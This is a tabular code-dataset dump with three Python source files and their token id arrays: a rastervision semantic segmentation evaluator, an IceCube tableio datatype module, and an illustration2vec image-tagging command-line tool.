max_stars_repo_path
stringlengths 4
237
| max_stars_repo_name
stringlengths 6
117
| max_stars_count
int64 0
95.2k
| id
stringlengths 1
7
| content
stringlengths 12
593k
| input_ids
sequencelengths 7
549k
|
---|---|---|---|---|---|
rastervision_core/rastervision/core/evaluation/semantic_segmentation_evaluator.py | azavea/keras-image-segmentation | 0 | 164765 | from typing import TYPE_CHECKING, Iterable, Iterator
import logging
from shapely.geometry import shape, mapping
from shapely.strtree import STRtree
from rastervision.core.data import ActivateMixin, RasterizedSource
from rastervision.core.data.vector_source import GeoJSONVectorSourceConfig
from rastervision.core.evaluation import (ClassificationEvaluator,
SemanticSegmentationEvaluation)
log = logging.getLogger(__name__)
if TYPE_CHECKING:
from rastervision.core.data import (Scene, ClassConfig,
SemanticSegmentationLabelSource,
SemanticSegmentationLabelStore)
def filter_geojson_by_aoi(geojson: dict, aoi_polygons: list) -> dict:
# Note that this ignores class_id but that's ok because each prediction GeoJSON file
# covers a single class_id. But, this may change in the future.
tree = STRtree([shape(f['geometry']) for f in geojson['features']])
filtered_shapes = []
for aoi_poly in aoi_polygons:
shapes_in_aoi = tree.query(aoi_poly)
for s in shapes_in_aoi:
s_int = s.intersection(aoi_poly)
filtered_shapes.append(s_int)
features = [{
'type': 'feature',
'geometry': mapping(s)
} for s in filtered_shapes]
return {'type': 'FeatureCollection', 'features': features}
class SemanticSegmentationEvaluator(ClassificationEvaluator):
"""Evaluates predictions for a set of scenes.
"""
def __init__(self, class_config: 'ClassConfig', output_uri: str,
vector_output_uri: str):
super().__init__(class_config, output_uri)
self.vector_output_uri = vector_output_uri
def create_evaluation(self) -> SemanticSegmentationEvaluation:
return SemanticSegmentationEvaluation(self.class_config)
def process(self, scenes: Iterable['Scene'], tmp_dir: str) -> None:
evaluation_global = self.create_evaluation()
vect_evaluation_global = self.create_evaluation()
null_class_id = self.class_config.get_null_class_id()
for scene in scenes:
log.info(f'Computing evaluation for scene {scene.id}...')
label_source: 'SemanticSegmentationLabelSource' = (
scene.ground_truth_label_source)
label_store: 'SemanticSegmentationLabelStore' = (
scene.prediction_label_store)
with ActivateMixin.compose(label_source, label_store):
# -----------
# raster eval
# -----------
ground_truth = label_source.get_labels()
predictions = label_store.get_labels()
if scene.aoi_polygons:
# Filter labels based on AOI.
ground_truth = ground_truth.filter_by_aoi(
scene.aoi_polygons, null_class_id)
predictions = predictions.filter_by_aoi(
scene.aoi_polygons, null_class_id)
evaluation_scene = self.create_evaluation()
evaluation_scene.compute(ground_truth, predictions)
evaluation_global.merge(evaluation_scene, scene_id=scene.id)
# -----------
# vector eval
# -----------
has_vector_gt = isinstance(label_source.raster_source,
RasterizedSource)
has_vector_preds = label_store.vector_outputs is not None
if not (has_vector_gt and has_vector_preds):
continue
gt_geojson = (
label_source.raster_source.vector_source.get_geojson())
if scene.aoi_polygons:
gt_geojson = filter_geojson_by_aoi(gt_geojson,
scene.aoi_polygons)
pred_geojsons = get_class_vector_preds(scene, label_store,
self.class_config)
vect_evaluation_scene = self.create_evaluation()
vect_evaluation_scene.compute_vector(
gt_geojson, pred_geojsons, label_store.vector_outputs)
vect_evaluation_global.merge(
vect_evaluation_scene, scene_id=scene.id)
if not evaluation_global.is_empty():
evaluation_global.save(self.output_uri)
if not vect_evaluation_global.is_empty():
vect_evaluation_global.save(self.vector_output_uri)
def get_class_vector_preds(scene: 'Scene',
label_store: 'SemanticSegmentationLabelStore',
class_config: 'ClassConfig') -> Iterator[dict]:
"""Returns a generator that yields pred geojsons from
label_store.vector_outputs."""
class_ids = [vo.class_id for vo in label_store.vector_outputs]
if len(set(class_ids)) < len(class_ids):
raise ValueError('SemanticSegmentationEvaluator expects there to be '
'only one VectorOutputConfig per class.')
for vo in label_store.vector_outputs:
pred_geojson_uri = vo.uri
class_id = vo.class_id
pred_geojson_source_cfg = GeoJSONVectorSourceConfig(
uri=pred_geojson_uri, default_class_id=class_id)
pred_geojson_source = pred_geojson_source_cfg.build(
class_config, scene.raster_source.get_crs_transformer())
pred_geojson: dict = pred_geojson_source.get_geojson()
if scene.aoi_polygons:
pred_geojson = filter_geojson_by_aoi(pred_geojson,
scene.aoi_polygons)
yield pred_geojson
| [
1,
515,
19229,
1053,
323,
6959,
29918,
3210,
16658,
4214,
29892,
20504,
519,
29892,
20504,
1061,
13,
5215,
12183,
13,
13,
3166,
528,
481,
873,
29889,
19156,
1053,
8267,
29892,
10417,
13,
3166,
528,
481,
873,
29889,
710,
8336,
1053,
29486,
8336,
13,
13,
3166,
364,
1901,
4924,
29889,
3221,
29889,
1272,
1053,
21775,
403,
29924,
861,
262,
29892,
390,
1901,
1891,
4435,
13,
3166,
364,
1901,
4924,
29889,
3221,
29889,
1272,
29889,
8111,
29918,
4993,
1053,
1879,
29877,
7249,
12877,
4435,
3991,
13,
3166,
364,
1901,
4924,
29889,
3221,
29889,
24219,
362,
1053,
313,
2385,
2450,
29923,
4387,
1061,
29892,
13,
462,
462,
3986,
9444,
7716,
17669,
358,
362,
29923,
4387,
362,
29897,
13,
13,
1188,
353,
12183,
29889,
657,
16363,
22168,
978,
1649,
29897,
13,
13,
361,
323,
6959,
29918,
3210,
16658,
4214,
29901,
13,
1678,
515,
364,
1901,
4924,
29889,
3221,
29889,
1272,
1053,
313,
23472,
29892,
4134,
3991,
29892,
13,
462,
462,
4706,
9444,
7716,
17669,
358,
362,
4775,
4435,
29892,
13,
462,
462,
4706,
9444,
7716,
17669,
358,
362,
4775,
9044,
29897,
13,
13,
13,
1753,
4175,
29918,
24756,
3126,
29918,
1609,
29918,
6241,
29875,
29898,
24756,
3126,
29901,
9657,
29892,
5017,
29875,
29918,
3733,
4790,
787,
29901,
1051,
29897,
1599,
9657,
29901,
13,
1678,
396,
3940,
393,
445,
5330,
2361,
770,
29918,
333,
541,
393,
29915,
29879,
3431,
1363,
1269,
18988,
1879,
29877,
7249,
934,
13,
1678,
396,
18469,
263,
2323,
770,
29918,
333,
29889,
1205,
29892,
445,
1122,
1735,
297,
278,
5434,
29889,
13,
1678,
5447,
353,
29486,
8336,
4197,
12181,
29898,
29888,
1839,
19156,
11287,
363,
285,
297,
1737,
29877,
3126,
1839,
22100,
2033,
2314,
13,
1678,
22289,
29918,
845,
11603,
353,
5159,
13,
1678,
363,
5017,
29875,
29918,
22678,
297,
5017,
29875,
29918,
3733,
4790,
787,
29901,
13,
4706,
25834,
29918,
262,
29918,
6241,
29875,
353,
5447,
29889,
1972,
29898,
6241,
29875,
29918,
22678,
29897,
13,
4706,
363,
269,
297,
25834,
29918,
262,
29918,
6241,
29875,
29901,
13,
9651,
269,
29918,
524,
353,
269,
29889,
1639,
2042,
29898,
6241,
29875,
29918,
22678,
29897,
13,
9651,
22289,
29918,
845,
11603,
29889,
4397,
29898,
29879,
29918,
524,
29897,
13,
13,
1678,
5680,
353,
15974,
13,
4706,
525,
1853,
2396,
525,
14394,
742,
13,
4706,
525,
19156,
2396,
10417,
29898,
29879,
29897,
13,
1678,
500,
363,
269,
297,
22289,
29918,
845,
11603,
29962,
13,
13,
1678,
736,
11117,
1853,
2396,
525,
19132,
7196,
742,
525,
22100,
2396,
5680,
29913,
13,
13,
13,
1990,
9444,
7716,
17669,
358,
362,
29923,
4387,
1061,
29898,
2385,
2450,
29923,
4387,
1061,
1125,
13,
1678,
9995,
29923,
4387,
1078,
27303,
363,
263,
731,
310,
20407,
29889,
13,
1678,
9995,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
770,
29918,
2917,
29901,
525,
2385,
3991,
742,
1962,
29918,
5338,
29901,
851,
29892,
13,
462,
4608,
29918,
4905,
29918,
5338,
29901,
851,
1125,
13,
4706,
2428,
2141,
1649,
2344,
12035,
1990,
29918,
2917,
29892,
1962,
29918,
5338,
29897,
13,
4706,
1583,
29889,
8111,
29918,
4905,
29918,
5338,
353,
4608,
29918,
4905,
29918,
5338,
13,
13,
1678,
822,
1653,
29918,
24219,
362,
29898,
1311,
29897,
1599,
9444,
7716,
17669,
358,
362,
29923,
4387,
362,
29901,
13,
4706,
736,
9444,
7716,
17669,
358,
362,
29923,
4387,
362,
29898,
1311,
29889,
1990,
29918,
2917,
29897,
13,
13,
1678,
822,
1889,
29898,
1311,
29892,
20407,
29901,
20504,
519,
1839,
23472,
7464,
13128,
29918,
3972,
29901,
851,
29897,
1599,
6213,
29901,
13,
4706,
17983,
29918,
10945,
353,
1583,
29889,
3258,
29918,
24219,
362,
580,
13,
4706,
325,
522,
29918,
24219,
362,
29918,
10945,
353,
1583,
29889,
3258,
29918,
24219,
362,
580,
13,
4706,
1870,
29918,
1990,
29918,
333,
353,
1583,
29889,
1990,
29918,
2917,
29889,
657,
29918,
4304,
29918,
1990,
29918,
333,
580,
13,
13,
4706,
363,
9088,
297,
20407,
29901,
13,
9651,
1480,
29889,
3888,
29898,
29888,
29915,
20606,
292,
17983,
363,
9088,
426,
24645,
29889,
333,
29913,
856,
1495,
13,
9651,
3858,
29918,
4993,
29901,
525,
28516,
7716,
17669,
358,
362,
4775,
4435,
29915,
353,
313,
13,
18884,
9088,
29889,
2057,
29918,
509,
2806,
29918,
1643,
29918,
4993,
29897,
13,
9651,
3858,
29918,
8899,
29901,
525,
28516,
7716,
17669,
358,
362,
4775,
9044,
29915,
353,
313,
13,
18884,
9088,
29889,
11965,
2463,
29918,
1643,
29918,
8899,
29897,
13,
9651,
411,
21775,
403,
29924,
861,
262,
29889,
19438,
29898,
1643,
29918,
4993,
29892,
3858,
29918,
8899,
1125,
13,
18884,
396,
448,
28400,
13,
18884,
396,
364,
1901,
19745,
13,
18884,
396,
448,
28400,
13,
18884,
5962,
29918,
509,
2806,
353,
3858,
29918,
4993,
29889,
657,
29918,
21134,
580,
13,
18884,
27303,
353,
3858,
29918,
8899,
29889,
657,
29918,
21134,
580,
13,
13,
18884,
565,
9088,
29889,
6241,
29875,
29918,
3733,
4790,
787,
29901,
13,
462,
1678,
396,
19916,
11073,
2729,
373,
319,
29949,
29902,
29889,
13,
462,
1678,
5962,
29918,
509,
2806,
353,
5962,
29918,
509,
2806,
29889,
4572,
29918,
1609,
29918,
6241,
29875,
29898,
13,
462,
4706,
9088,
29889,
6241,
29875,
29918,
3733,
4790,
787,
29892,
1870,
29918,
1990,
29918,
333,
29897,
13,
462,
1678,
27303,
353,
27303,
29889,
4572,
29918,
1609,
29918,
6241,
29875,
29898,
13,
462,
4706,
9088,
29889,
6241,
29875,
29918,
3733,
4790,
787,
29892,
1870,
29918,
1990,
29918,
333,
29897,
13,
18884,
17983,
29918,
24645,
353,
1583,
29889,
3258,
29918,
24219,
362,
580,
13,
18884,
17983,
29918,
24645,
29889,
26017,
29898,
2057,
29918,
509,
2806,
29892,
27303,
29897,
13,
18884,
17983,
29918,
10945,
29889,
14634,
29898,
24219,
362,
29918,
24645,
29892,
9088,
29918,
333,
29922,
24645,
29889,
333,
29897,
13,
13,
18884,
396,
448,
28400,
13,
18884,
396,
4608,
19745,
13,
18884,
396,
448,
28400,
13,
18884,
756,
29918,
8111,
29918,
4141,
353,
338,
8758,
29898,
1643,
29918,
4993,
29889,
29878,
1901,
29918,
4993,
29892,
13,
462,
462,
965,
390,
1901,
1891,
4435,
29897,
13,
18884,
756,
29918,
8111,
29918,
11965,
29879,
353,
3858,
29918,
8899,
29889,
8111,
29918,
4905,
29879,
338,
451,
6213,
13,
18884,
565,
451,
313,
5349,
29918,
8111,
29918,
4141,
322,
756,
29918,
8111,
29918,
11965,
29879,
1125,
13,
462,
1678,
6773,
13,
13,
18884,
330,
29873,
29918,
24756,
3126,
353,
313,
13,
462,
1678,
3858,
29918,
4993,
29889,
29878,
1901,
29918,
4993,
29889,
8111,
29918,
4993,
29889,
657,
29918,
24756,
3126,
3101,
13,
18884,
565,
9088,
29889,
6241,
29875,
29918,
3733,
4790,
787,
29901,
13,
462,
1678,
330,
29873,
29918,
24756,
3126,
353,
4175,
29918,
24756,
3126,
29918,
1609,
29918,
6241,
29875,
29898,
4141,
29918,
24756,
3126,
29892,
13,
462,
462,
462,
539,
9088,
29889,
6241,
29875,
29918,
3733,
4790,
787,
29897,
13,
18884,
4450,
29918,
24756,
1315,
787,
353,
679,
29918,
1990,
29918,
8111,
29918,
11965,
29879,
29898,
24645,
29892,
3858,
29918,
8899,
29892,
13,
462,
462,
462,
539,
1583,
29889,
1990,
29918,
2917,
29897,
13,
18884,
325,
522,
29918,
24219,
362,
29918,
24645,
353,
1583,
29889,
3258,
29918,
24219,
362,
580,
13,
18884,
325,
522,
29918,
24219,
362,
29918,
24645,
29889,
26017,
29918,
8111,
29898,
13,
462,
1678,
330,
29873,
29918,
24756,
3126,
29892,
4450,
29918,
24756,
1315,
787,
29892,
3858,
29918,
8899,
29889,
8111,
29918,
4905,
29879,
29897,
13,
18884,
325,
522,
29918,
24219,
362,
29918,
10945,
29889,
14634,
29898,
13,
462,
1678,
325,
522,
29918,
24219,
362,
29918,
24645,
29892,
9088,
29918,
333,
29922,
24645,
29889,
333,
29897,
13,
13,
4706,
565,
451,
17983,
29918,
10945,
29889,
275,
29918,
6310,
7295,
13,
9651,
17983,
29918,
10945,
29889,
7620,
29898,
1311,
29889,
4905,
29918,
5338,
29897,
13,
4706,
565,
451,
325,
522,
29918,
24219,
362,
29918,
10945,
29889,
275,
29918,
6310,
7295,
13,
9651,
325,
522,
29918,
24219,
362,
29918,
10945,
29889,
7620,
29898,
1311,
29889,
8111,
29918,
4905,
29918,
5338,
29897,
13,
13,
13,
1753,
679,
29918,
1990,
29918,
8111,
29918,
11965,
29879,
29898,
24645,
29901,
525,
23472,
742,
13,
462,
965,
3858,
29918,
8899,
29901,
525,
28516,
7716,
17669,
358,
362,
4775,
9044,
742,
13,
462,
965,
770,
29918,
2917,
29901,
525,
2385,
3991,
1495,
1599,
20504,
1061,
29961,
8977,
5387,
13,
1678,
9995,
11609,
29879,
263,
15299,
393,
17498,
4450,
1737,
29877,
1315,
787,
515,
13,
1678,
3858,
29918,
8899,
29889,
8111,
29918,
4905,
29879,
1213,
15945,
13,
1678,
770,
29918,
4841,
353,
518,
1365,
29889,
1990,
29918,
333,
363,
992,
297,
3858,
29918,
8899,
29889,
8111,
29918,
4905,
29879,
29962,
13,
1678,
565,
7431,
29898,
842,
29898,
1990,
29918,
4841,
876,
529,
7431,
29898,
1990,
29918,
4841,
1125,
13,
4706,
12020,
7865,
2392,
877,
28516,
7716,
17669,
358,
362,
29923,
4387,
1061,
23347,
727,
304,
367,
525,
13,
462,
308,
525,
6194,
697,
16510,
6466,
3991,
639,
770,
29889,
1495,
13,
1678,
363,
992,
297,
3858,
29918,
8899,
29889,
8111,
29918,
4905,
29879,
29901,
13,
4706,
4450,
29918,
24756,
3126,
29918,
5338,
353,
992,
29889,
5338,
13,
4706,
770,
29918,
333,
353,
992,
29889,
1990,
29918,
333,
13,
4706,
4450,
29918,
24756,
3126,
29918,
4993,
29918,
16859,
353,
1879,
29877,
7249,
12877,
4435,
3991,
29898,
13,
9651,
21333,
29922,
11965,
29918,
24756,
3126,
29918,
5338,
29892,
2322,
29918,
1990,
29918,
333,
29922,
1990,
29918,
333,
29897,
13,
4706,
4450,
29918,
24756,
3126,
29918,
4993,
353,
4450,
29918,
24756,
3126,
29918,
4993,
29918,
16859,
29889,
4282,
29898,
13,
9651,
770,
29918,
2917,
29892,
9088,
29889,
29878,
1901,
29918,
4993,
29889,
657,
29918,
29883,
2288,
29918,
9067,
261,
3101,
13,
4706,
4450,
29918,
24756,
3126,
29901,
9657,
353,
4450,
29918,
24756,
3126,
29918,
4993,
29889,
657,
29918,
24756,
3126,
580,
13,
13,
4706,
565,
9088,
29889,
6241,
29875,
29918,
3733,
4790,
787,
29901,
13,
9651,
4450,
29918,
24756,
3126,
353,
4175,
29918,
24756,
3126,
29918,
1609,
29918,
6241,
29875,
29898,
11965,
29918,
24756,
3126,
29892,
13,
462,
462,
462,
9088,
29889,
6241,
29875,
29918,
3733,
4790,
787,
29897,
13,
4706,
7709,
4450,
29918,
24756,
3126,
13,
2
] |
tableio/python/types.py | hschwane/offline_production | 1 | 113024 | <reponame>hschwane/offline_production
# -*- coding: utf-8 -*-
#
# copyright (C) 2010
# The Icecube Collaboration
#
# $Id: types.py 107762 2013-07-01 22:55:31Z nwhitehorn $
#
# @version $Revision: 107762 $
# @date $LastChangedDate: 2013-07-01 18:55:31 -0400 (Mon, 01 Jul 2013) $
# @author <NAME> <<EMAIL>> $LastChangedBy: nwhitehorn $
#
from icecube.tableio import I3Datatype
dt = I3Datatype.TypeClass
def make_dtype(kind, size, signed):
dtype = I3Datatype()
dtype.kind = kind
dtype.size = size
dtype.is_signed = signed
return dtype
Int8 = make_dtype(dt.Int,1,True)
Int16 = make_dtype(dt.Int,2,True)
Int32 = make_dtype(dt.Int,4,True)
Int64 = make_dtype(dt.Int,8,True)
UInt8 = make_dtype(dt.Int,1,False)
UInt16 = make_dtype(dt.Int,2,False)
UInt32 = make_dtype(dt.Int,4,False)
UInt64 = make_dtype(dt.Int,8,False)
Float32 = make_dtype(dt.Float,4,True)
Float64 = make_dtype(dt.Float,8,True)
Bool = make_dtype(dt.Bool,1,False)
# make a pretty-printer for I3Datatype
def pretty_dtype(self):
return "I3Datatype(kind=%s, size=%s, signed=%s)" % (self.kind,self.size,self.is_signed)
I3Datatype.__repr__ = pretty_dtype
del I3Datatype,dt,make_dtype,pretty_dtype
import sys
if sys.version_info[0] >= 3:
from icecube.tableio.enum3 import enum as Enum
else:
from icecube.tableio.enum2 import enum as Enum
| [
1,
529,
276,
1112,
420,
29958,
29882,
816,
29893,
1662,
29914,
2696,
1220,
29918,
24601,
13,
29937,
448,
29930,
29899,
14137,
29901,
23616,
29899,
29947,
448,
29930,
29899,
13,
29937,
29871,
13,
29937,
3509,
1266,
29871,
313,
29907,
29897,
29871,
29906,
29900,
29896,
29900,
13,
29937,
450,
26998,
29883,
4003,
13435,
3717,
362,
13,
29937,
29871,
13,
29937,
395,
1204,
29901,
4072,
29889,
2272,
29871,
29896,
29900,
29955,
29955,
29953,
29906,
29871,
29906,
29900,
29896,
29941,
29899,
29900,
29955,
29899,
29900,
29896,
29871,
29906,
29906,
29901,
29945,
29945,
29901,
29941,
29896,
29999,
302,
10921,
25031,
395,
13,
29937,
29871,
13,
29937,
732,
3259,
395,
1123,
4924,
29901,
29871,
29896,
29900,
29955,
29955,
29953,
29906,
395,
13,
29937,
732,
1256,
395,
8897,
7590,
2539,
29901,
29871,
29906,
29900,
29896,
29941,
29899,
29900,
29955,
29899,
29900,
29896,
29871,
29896,
29947,
29901,
29945,
29945,
29901,
29941,
29896,
448,
29900,
29946,
29900,
29900,
313,
7185,
29892,
29871,
29900,
29896,
2739,
29871,
29906,
29900,
29896,
29941,
29897,
395,
13,
29937,
732,
8921,
529,
5813,
29958,
3532,
26862,
6227,
6778,
395,
8897,
7590,
2059,
29901,
302,
10921,
25031,
395,
13,
29937,
29871,
13,
13,
3166,
14890,
29883,
4003,
29889,
2371,
601,
1053,
306,
29941,
16390,
23179,
13,
13,
6008,
353,
306,
29941,
16390,
23179,
29889,
1542,
2385,
13,
1753,
1207,
29918,
29881,
1853,
29898,
14380,
29892,
2159,
29892,
8794,
1125,
13,
1678,
26688,
353,
306,
29941,
16390,
23179,
580,
13,
1678,
26688,
29889,
14380,
353,
2924,
13,
1678,
26688,
29889,
2311,
353,
2159,
13,
1678,
26688,
29889,
275,
29918,
7433,
353,
8794,
13,
1678,
736,
26688,
13,
13,
2928,
29947,
1678,
353,
1207,
29918,
29881,
1853,
29898,
6008,
29889,
2928,
29892,
29896,
29892,
5574,
29897,
13,
2928,
29896,
29953,
259,
353,
1207,
29918,
29881,
1853,
29898,
6008,
29889,
2928,
29892,
29906,
29892,
5574,
29897,
13,
2928,
29941,
29906,
259,
353,
1207,
29918,
29881,
1853,
29898,
6008,
29889,
2928,
29892,
29946,
29892,
5574,
29897,
13,
2928,
29953,
29946,
259,
353,
1207,
29918,
29881,
1853,
29898,
6008,
29889,
2928,
29892,
29947,
29892,
5574,
29897,
13,
308,
13,
29965,
2928,
29947,
259,
353,
1207,
29918,
29881,
1853,
29898,
6008,
29889,
2928,
29892,
29896,
29892,
8824,
29897,
13,
29965,
2928,
29896,
29953,
29871,
353,
1207,
29918,
29881,
1853,
29898,
6008,
29889,
2928,
29892,
29906,
29892,
8824,
29897,
13,
29965,
2928,
29941,
29906,
29871,
353,
1207,
29918,
29881,
1853,
29898,
6008,
29889,
2928,
29892,
29946,
29892,
8824,
29897,
13,
29965,
2928,
29953,
29946,
29871,
353,
1207,
29918,
29881,
1853,
29898,
6008,
29889,
2928,
29892,
29947,
29892,
8824,
29897,
13,
13,
11031,
29941,
29906,
353,
1207,
29918,
29881,
1853,
29898,
6008,
29889,
11031,
29892,
29946,
29892,
5574,
29897,
13,
11031,
29953,
29946,
353,
1207,
29918,
29881,
1853,
29898,
6008,
29889,
11031,
29892,
29947,
29892,
5574,
29897,
13,
13,
24693,
1678,
353,
1207,
29918,
29881,
1853,
29898,
6008,
29889,
24693,
29892,
29896,
29892,
8824,
29897,
13,
13,
29937,
1207,
263,
5051,
29899,
558,
1639,
363,
306,
29941,
16390,
23179,
13,
1753,
5051,
29918,
29881,
1853,
29898,
1311,
1125,
13,
1678,
736,
376,
29902,
29941,
16390,
23179,
29898,
14380,
16328,
29879,
29892,
2159,
16328,
29879,
29892,
8794,
16328,
29879,
5513,
29871,
1273,
313,
1311,
29889,
14380,
29892,
1311,
29889,
2311,
29892,
1311,
29889,
275,
29918,
7433,
29897,
13,
268,
13,
29902,
29941,
16390,
23179,
17255,
276,
558,
1649,
353,
5051,
29918,
29881,
1853,
13,
13,
6144,
306,
29941,
16390,
23179,
29892,
6008,
29892,
5675,
29918,
29881,
1853,
29892,
1457,
4349,
29918,
29881,
1853,
13,
13,
5215,
10876,
13,
361,
10876,
29889,
3259,
29918,
3888,
29961,
29900,
29962,
6736,
29871,
29941,
29901,
13,
12,
3166,
14890,
29883,
4003,
29889,
2371,
601,
29889,
18605,
29941,
1053,
14115,
408,
1174,
398,
13,
2870,
29901,
13,
12,
3166,
14890,
29883,
4003,
29889,
2371,
601,
29889,
18605,
29906,
1053,
14115,
408,
1174,
398,
13,
13,
2
] |
i2vec_cli/__main__.py | rachmadaniHaryono/i2vec_cli | 0 | 9883 | #!/usr/bin/env python3
"""get tag from http://demo.illustration2vec.net/."""
# note:
# - error 'ERROR: Request Entity Too Large' for file 1.1 mb
# <span style="color:red;">ERROR: Request Entity Too Large</span>
from collections import OrderedDict
from pathlib import Path
from pprint import pformat
import imghdr
import logging
import os
import shutil
import time
import urllib
import hashlib
import click
import requests
import structlog
import peewee
from PIL import Image
from i2vec_cli import models
from i2vec_cli.requests_session import Session, convert_raw_to_hydrus
from i2vec_cli.sha256 import sha256_checksum
from i2vec_cli.utils import user_data_dir, thumb_folder
def is_url(path):
"""Return True if path is url, False otherwise."""
scheme = urllib.parse.urlparse(path).scheme
if scheme in ('http', 'https'):
return True
return False
def is_ext_equal(file_ext, imghdr_ext):
"""compare file extension with result from imghdr_ext."""
if not imghdr_ext:
return False
if file_ext.lower() == '.{}'.format(imghdr_ext):
return True
if file_ext.lower() in ('.jpg', '.jpeg') and imghdr_ext == 'jpeg':
return True
return False
def download(url, no_clobber):
"""download url.
Args:
url: URL to be downloaded.
no_clobber: Skip download if file already exist.
Returns:
Downloaded filename or existing file if `no_clobber` is `True`
"""
log = structlog.getLogger()
basename = os.path.basename(url)
if os.path.isfile(basename) and no_clobber:
return basename
response = requests.get(url, stream=True)
with open(basename, 'wb') as out_file:
shutil.copyfileobj(response.raw, out_file)
name, ext = os.path.splitext(basename)
imghdr_ext = imghdr.what(basename)
ext_equal = is_ext_equal(file_ext=ext, imghdr_ext=imghdr_ext)
if not imghdr_ext:
log.debug("imghdr can't recognize file", file=basename)
return basename
else:
new_basename = '{}.{}'.format(name, imghdr_ext)
new_basename_exist = os.path.isfile(new_basename)
if ext_equal:
log.debug('Extension is equal', file_ext=ext, imghdr_ext=imghdr_ext)
return basename
elif not ext_equal:
if new_basename_exist and not no_clobber:
log.debug('Replace existing file', old=basename, new=new_basename)
shutil.move(basename, new_basename)
elif not new_basename_exist:
log.debug('Rename file ext', file=basename, new_ext=imghdr_ext)
shutil.move(basename, new_basename)
else:
log.debug('Not replace/rename file', no_clobber=no_clobber, new_basename=new_basename)
return new_basename
else:
log.debug(
'Unknown condition',
file=basename,
ext_equal=ext_equal,
new_basename_exist=new_basename_exist,
imghdr_ext=imghdr_ext
)
# just return base name if any error happen
return basename
def validate_close_delay(ctx, param, value):
"""validate close delay."""
try:
value = int(value)
except Exception as e:
raise click.BadParameter(
'Error when validate close delay: value={}, error={}'.format(value, e))
if value >= -1:
return value
else:
raise click.BadParameter('Close delay have to be bigger or equal than -1')
def delay_close(close_delay):
"""delay when closing the program."""
log = structlog.getLogger()
if close_delay == -1:
click.pause()
elif close_delay == 0:
log.debug('No close delay')
elif close_delay > 0:
time.sleep(close_delay)
else:
log.error('Invalid close delay', v=close_delay)
def md5_checksum(fname):
hash_md5 = hashlib.md5()
with open(fname, "rb") as f:
for chunk in iter(lambda: f.read(4096), b""):
hash_md5.update(chunk)
return hash_md5.hexdigest()
def create_thumbnail(path, thumb_path):
"""create thumbnail."""
size = 320, 320
try:
im = Image.open(path)
im.thumbnail(size)
im.save(thumb_path, "JPEG")
except IOError:
raise IOError("cannot create thumbnail for", path)
def get_print_result(path, db_path, format, session):
"""get print result."""
# compatibility
p = path
sha256 = sha256_checksum(p)
md5 = md5_checksum(p)
thumb_path = os.path.join(user_data_dir, 'thumb', '{}.jpg'.format(sha256))
try:
load_res = models.load_result(db=db_path, sha256=sha256, md5=md5)
except models.Image.DoesNotExist:
load_res = None
if load_res:
tags = {'prediction': load_res}
else:
tags = session.get_tags(path=p)
try:
models.save_result(
db=db_path, sha256=sha256, md5=md5, prediction=tags['prediction'])
except peewee.IntegrityError as e:
log.debug(str(e))
except keyError as e:
log.debug(str(tags))
if not os.path.isfile(thumb_path):
create_thumbnail(p, thumb_path)
if format == 'dict':
return tags
if format == 'hydrus':
return convert_raw_to_hydrus(tags)
else:
return pformat(tags['prediction'])
@click.command()
@click.option('--format', type=click.Choice(['raw', 'hydrus']), default='raw')
@click.option('-d', '--debug', is_flag=True, help="Enable debug.")
@click.option('-nc', '--no-clobber', is_flag=True, help="Skip download url when file exist.")
@click.option(
'--close-delay', default=0, help="Close delay of the program.", callback=validate_close_delay)
@click.option(
'--driver', default=None, help="Driver for browser (deprecated).",
type=click.Choice(['firefox', 'phantomjs', 'chrome', 'zope.testbrowser', 'django']))
@click.option('--dump-html', is_flag=True, help="Dump html table for debugging (deprecated).")
@click.argument('path', nargs=-1)
def main(format, path, debug, no_clobber, close_delay, driver=None, dump_html=False):
"""get tag from illustration2vec."""
if debug:
logging.basicConfig(level=logging.DEBUG)
else:
logging.basicConfig(level=logging.INFO)
structlog.configure_once(logger_factory=structlog.stdlib.LoggerFactory())
log = structlog.getLogger()
if not path:
raise ValueError('PATH required.')
# init folder
os.makedirs(user_data_dir, exist_ok=True)
os.makedirs(thumb_folder, exist_ok=True)
# database
db_path = os.path.join(user_data_dir, 'main.db')
if not os.path.isfile(db_path):
Path(db_path).touch()
models.database.init(db_path)
try:
models.init_all_tables()
except peewee.OperationalError:
log.debug('Table already created')
session = Session(driver=driver)
try:
for p in path:
if os.path.isfile(p):
print('path:{}'.format(os.path.basename(p)))
elif is_url(p):
print('url:{}'.format(p))
p = download(p, no_clobber=no_clobber)
else:
log.error('Unknown path format or path is not exist', path=p)
continue
result = get_print_result(
path=p, db_path=db_path, format=format, session=session)
print(result)
finally:
delay_close(close_delay)
if hasattr(session, 'browser'):
session.browser.quit()
if __name__ == '__main__':
main()
| [
1,
18787,
4855,
29914,
2109,
29914,
6272,
3017,
29941,
13,
15945,
29908,
657,
4055,
515,
1732,
597,
17482,
29889,
453,
11036,
29906,
2003,
29889,
1212,
29914,
1213,
15945,
13,
29937,
4443,
29901,
13,
29937,
448,
1059,
525,
11432,
29901,
10729,
14945,
1763,
29877,
8218,
479,
29915,
363,
934,
29871,
29896,
29889,
29896,
286,
29890,
13,
29937,
529,
9653,
3114,
543,
2780,
29901,
1127,
12334,
11432,
29901,
10729,
14945,
1763,
29877,
8218,
479,
829,
9653,
29958,
13,
3166,
16250,
1053,
8170,
287,
21533,
13,
3166,
2224,
1982,
1053,
10802,
13,
3166,
282,
2158,
1053,
282,
4830,
13,
5215,
10153,
29882,
7707,
13,
5215,
12183,
13,
5215,
2897,
13,
5215,
528,
4422,
13,
5215,
931,
13,
5215,
3142,
1982,
13,
5215,
6608,
1982,
13,
13,
5215,
2828,
13,
5215,
7274,
13,
5215,
2281,
1188,
13,
5215,
1236,
29872,
705,
29872,
13,
3166,
349,
6227,
1053,
7084,
13,
13,
3166,
474,
29906,
2003,
29918,
11303,
1053,
4733,
13,
3166,
474,
29906,
2003,
29918,
11303,
29889,
24830,
29918,
7924,
1053,
16441,
29892,
3588,
29918,
1610,
29918,
517,
29918,
29882,
2941,
15816,
13,
3166,
474,
29906,
2003,
29918,
11303,
29889,
17051,
29906,
29945,
29953,
1053,
528,
29874,
29906,
29945,
29953,
29918,
3198,
2083,
13,
3166,
474,
29906,
2003,
29918,
11303,
29889,
13239,
1053,
1404,
29918,
1272,
29918,
3972,
29892,
28968,
29918,
12083,
13,
13,
13,
1753,
338,
29918,
2271,
29898,
2084,
1125,
13,
1678,
9995,
11609,
5852,
565,
2224,
338,
3142,
29892,
7700,
6467,
1213,
15945,
13,
1678,
11380,
353,
3142,
1982,
29889,
5510,
29889,
2271,
5510,
29898,
2084,
467,
816,
2004,
13,
1678,
565,
11380,
297,
6702,
1124,
